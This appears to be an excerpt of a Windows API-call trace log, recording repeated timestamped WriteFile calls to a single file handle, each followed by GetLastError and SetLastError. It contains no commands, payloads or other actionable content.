[0101.325] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.325] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.354] GetLastError () returned 0x0
[0101.354] SetLastError (dwErrCode=0x0)
[0101.355] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.355] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.381] GetLastError () returned 0x0
[0101.381] SetLastError (dwErrCode=0x0)
[0101.382] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.382] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.407] GetLastError () returned 0x0
[0101.407] SetLastError (dwErrCode=0x0)
[0101.408] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.408] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.477] GetLastError () returned 0x0
[0101.477] SetLastError (dwErrCode=0x0)
[0101.477] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.477] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.620] GetLastError () returned 0x0
[0101.620] SetLastError (dwErrCode=0x0)
[0101.620] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.621] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.701] GetLastError () returned 0x0
[0101.701] SetLastError (dwErrCode=0x0)
[0101.702] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.702] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.774] GetLastError () returned 0x0
[0101.774] SetLastError (dwErrCode=0x0)
[0101.774] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.774] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.801] GetLastError () returned 0x0
[0101.801] SetLastError (dwErrCode=0x0)
[0101.801] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.801] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.869] GetLastError () returned 0x0
[0101.869] SetLastError (dwErrCode=0x0)
[0101.869] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.869] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.003] GetLastError () returned 0x0
[0102.004] SetLastError (dwErrCode=0x0)
[0102.004] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.004] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.032] GetLastError () returned 0x0
[0102.032] SetLastError (dwErrCode=0x0)
[0102.032] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.033] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.059] GetLastError () returned 0x0
[0102.059] SetLastError (dwErrCode=0x0)
[0102.059] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.059] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.126] GetLastError () returned 0x0
[0102.126] SetLastError (dwErrCode=0x0)
[0102.126] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.127] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.193] GetLastError () returned 0x0
[0102.193] SetLastError (dwErrCode=0x0)
[0102.194] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.194] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.260] GetLastError () returned 0x0
[0102.260] SetLastError (dwErrCode=0x0)
[0102.260] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.260] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.312] GetLastError () returned 0x0
[0102.312] SetLastError (dwErrCode=0x0)
[0102.312] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.313] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.338] GetLastError () returned 0x0
[0102.338] SetLastError (dwErrCode=0x0)
[0102.339] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.339] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.406] GetLastError () returned 0x0
[0102.406] SetLastError (dwErrCode=0x0)
[0102.406] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.406] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.473] GetLastError () returned 0x0
[0102.473] SetLastError (dwErrCode=0x0)
[0102.473] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.473] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.540] GetLastError () returned 0x0
[0102.540] SetLastError (dwErrCode=0x0)
[0102.540] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.541] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.567] GetLastError () returned 0x0
[0102.567] SetLastError (dwErrCode=0x0)
[0102.567] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.567] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.659] GetLastError () returned 0x0
[0102.659] SetLastError (dwErrCode=0x0)
[0102.659] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.659] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.685] GetLastError () returned 0x0
[0102.685] SetLastError (dwErrCode=0x0)
[0102.685] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.686] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.713] GetLastError () returned 0x0
[0102.713] SetLastError (dwErrCode=0x0)
[0102.713] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.714] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.739] GetLastError () returned 0x0
[0102.740] SetLastError (dwErrCode=0x0)
[0102.740] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.740] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.767] GetLastError () returned 0x0
[0102.767] SetLastError (dwErrCode=0x0)
[0102.767] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.767] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.793] GetLastError () returned 0x0
[0102.793] SetLastError (dwErrCode=0x0)
[0102.793] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.794] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.822] GetLastError () returned 0x0
[0102.822] SetLastError (dwErrCode=0x0)
[0102.822] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.823] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.890] GetLastError () returned 0x0
[0102.890] SetLastError (dwErrCode=0x0)
[0102.891] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.891] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.916] GetLastError () returned 0x0
[0102.916] SetLastError (dwErrCode=0x0)
[0102.916] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.917] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0102.983] GetLastError () returned 0x0
[0102.984] SetLastError (dwErrCode=0x0)
[0102.984] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0102.984] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.010] GetLastError () returned 0x0
[0103.010] SetLastError (dwErrCode=0x0)
[0103.010] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.010] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.076] GetLastError () returned 0x0
[0103.076] SetLastError (dwErrCode=0x0)
[0103.076] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.077] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.178] GetLastError () returned 0x0
[0103.178] SetLastError (dwErrCode=0x0)
[0103.178] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.178] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.206] GetLastError () returned 0x0
[0103.206] SetLastError (dwErrCode=0x0)
[0103.207] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.207] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.236] GetLastError () returned 0x0
[0103.237] SetLastError (dwErrCode=0x0)
[0103.237] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.237] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.263] GetLastError () returned 0x0
[0103.263] SetLastError (dwErrCode=0x0)
[0103.263] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.263] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.288] GetLastError () returned 0x0
[0103.288] SetLastError (dwErrCode=0x0)
[0103.288] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.289] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.322] GetLastError () returned 0x0
[0103.322] SetLastError (dwErrCode=0x0)
[0103.322] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.322] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.389] GetLastError () returned 0x0
[0103.390] SetLastError (dwErrCode=0x0)
[0103.390] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.390] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.457] GetLastError () returned 0x0
[0103.457] SetLastError (dwErrCode=0x0)
[0103.457] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.458] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.483] GetLastError () returned 0x0
[0103.483] SetLastError (dwErrCode=0x0)
[0103.483] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.483] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.508] GetLastError () returned 0x0
[0103.508] SetLastError (dwErrCode=0x0)
[0103.509] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
